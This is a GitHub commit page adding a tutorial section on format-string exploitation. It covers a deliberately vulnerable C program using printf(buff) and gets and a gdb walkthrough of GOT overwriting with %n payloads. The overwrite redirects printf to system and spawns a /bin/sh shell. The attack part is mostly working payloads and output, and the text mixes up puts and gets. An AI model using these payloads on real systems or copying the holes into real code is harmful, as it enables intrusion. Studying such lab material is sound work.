Skip to content
This repository was archived by the owner on Sep 15, 2024. It is now read-only.

Commit 9f68cb6

Browse files
committed
Completed exploitation of format-string with GOT overwriting
1 parent 2fa8740 commit 9f68cb6

File tree

1 file changed

+128
-0
lines changed

1 file changed

+128
-0
lines changed

content/format-string/format-string.md

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1088,4 +1088,132 @@ Format string variants of exploitation:
10881088
I will show here, how to overwrite a GOT entry.
10891089

10901090
Consider the program:
1091+
```C
1092+
#include <stdio.h>
1093+
#include <string.h>
1094+
1095+
// gcc got-overwrite.c -o got-overwrite -fno-stack-protector -no-pie -z execstack -Wl,-z,norelro -m32
1096+
1097+
1098+
int main(int argc, char *argv[]){
1099+
char buff[200];
1100+
strncpy(buff, argv[1], 200);
1101+
printf(buff);
1102+
char buff2[200];
1103+
gets(buff2);
1104+
printf(buff2);
1105+
return 0;
1106+
}
1107+
```
1108+
1109+
You can see GOT table:
1110+
```bash
1111+
$ objdump -R got-overwrite
1112+
1113+
got-overwrite: file format elf32-i386
1114+
1115+
DYNAMIC RELOCATION RECORDS
1116+
OFFSET TYPE VALUE
1117+
0804b268 R_386_GLOB_DAT __gmon_start__
1118+
0804b278 R_386_JUMP_SLOT printf@GLIBC_2.0
1119+
0804b27c R_386_JUMP_SLOT gets@GLIBC_2.0
1120+
0804b280 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
1121+
0804b284 R_386_JUMP_SLOT strncpy@GLIBC_2.0
10911122
```
1123+
1124+
Let's try to overwrite it in gdb. For this, you need to do the same as above in the exploitation of vulnerability:
1125+
1126+
1. Determine the function that is similar to system() or execve() and in which program puts the arguments that you can control.
1127+
2. Determine the address of the system or execve.
1128+
3. Specify the address within GOT table.
1129+
4. Overwrite it with the address of the system or execve.
1130+
1131+
### Determine the function as a target
1132+
1133+
In my program `got-overwrite.c`, you can find the place where it takes another output interactively in another buffer `buff2`. So, the printf is a nice candidate for overwriting within GOT table. But here the problem - the address of printf within GOT is placed above the address of puts. So, if you will overwrite printf, you also overwrite the next 2 bytes of puts address and it will not allow you to exploit the program. Thus, you also need to overwrite the puts address with it.
1134+
1135+
### Determine the address of system or execve
1136+
1137+
In gdb:
1138+
```bash
1139+
gef➤ print system
1140+
$1 = {<text variable, no debug info>} 0xf7e02830 <system>
1141+
```
1142+
1143+
So, this is the address which you will write in GOT.
1144+
1145+
### Specify the address within GOT table
1146+
1147+
Let's try to exploit it without overwriting puts. I'll not specify how to determine the address and direct parameter number, you can do it yourself.
1148+
```bash
1149+
gef➤ b *main + 138
1150+
Breakpoint 1 at 0x8049260
1151+
gef➤ r aaaa
1152+
Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/got-overwrite aaaa
1153+
aaaaaaaa
1154+
1155+
Breakpoint 1, 0x08049260 in main ()
1156+
gef➤ got
1157+
1158+
GOT protection: No RelRO | GOT functions: 4
1159+
1160+
[0x804b278] printf@GLIBC_2.0 → 0xf7e11340
1161+
[0x804b27c] gets@GLIBC_2.0 → 0xf7e2e1b0
1162+
[0x804b280] __libc_start_main@GLIBC_2.0 → 0xf7ddbdf0
1163+
[0x804b284] strncpy@GLIBC_2.0 → 0xf7e58690
1164+
gef➤ r $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "%10280u" + "%54$n" + "%53168u" + "%55$n"')
1165+
Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/got-overwrite $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "%10280u" + "%54$n" + "%53168u" + "%55$n"')
1166+
xz
1167+
1168+
Program received signal SIGSEGV, Segmentation fault.
1169+
0x08040000 in ?? ()
1170+
gef➤ got
1171+
1172+
GOT protection: No RelRO | GOT functions: 4
1173+
1174+
[0x804b278] printf@GLIBC_2.0 → 0xf7e02830
1175+
[0x804b27c] gets@GLIBC_2.0 → 0x8040000
1176+
[0x804b280] __libc_start_main@GLIBC_2.0 → 0xf7ddbdf0
1177+
[0x804b284] strncpy@GLIBC_2.0 → 0xf7e58690
1178+
gef➤
1179+
```
1180+
Here, you see that the printf now has another address, but `puts` has too. That's why you need the next overwrite.
1181+
1182+
### Overwrite it with the address of the system
1183+
1184+
Now, after the first write in GOT, do next write. I can't show you all output, because the format string just places the large empty space between the command and result:
1185+
```bash
1186+
gef➤ r $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "\x7c\xb2\x04\x08" + "\x7e\xb2\x04\x08" + "%10272u" + "%54$n" + "%53168u" + "%55$n" + "%59856u" + "%56$n" + "%5682u" + "%57$n"')
1187+
1188+
================
1189+
space here
1190+
================
1191+
1192+
0/bin/sh
1193+
[Detaching after vfork from child process 7246]
1194+
$ w
1195+
16:08:13 up 42 min, 1 user, load average: 0.16, 0.50, 0.50
1196+
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
1197+
shogun tty7 :0 15:25 42:37 1:15 1.33s xfce4-session
1198+
$
1199+
```
1200+
1201+
Try it outside gdb:
1202+
```bash
1203+
shogun@kyoto:~/repos/basics-of-pwn/content/format-string$ ./got-overwrite $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "\x7c\xb2\x04\x08" + "\x7e\xb2\x04\x08" + "%10272u" + "%54$n" + "%53168u" + "%55$n" + "%59856u" + "%56$n" + "%5682u" + "%57$n"')
1204+
xz|~ =====
1205+
space
1206+
===== 4294955702 =====
1207+
space
1208+
===== 200 =====
1209+
space
1210+
=====
1211+
134517236
1212+
=====
1213+
space
1214+
=====
1215+
0/bin/sh
1216+
$
1217+
```
1218+
1219+
Thus, after the puts placed input string in buff2, you call the system function and it executes the command which you input in buff2.

0 commit comments

Comments
 (0)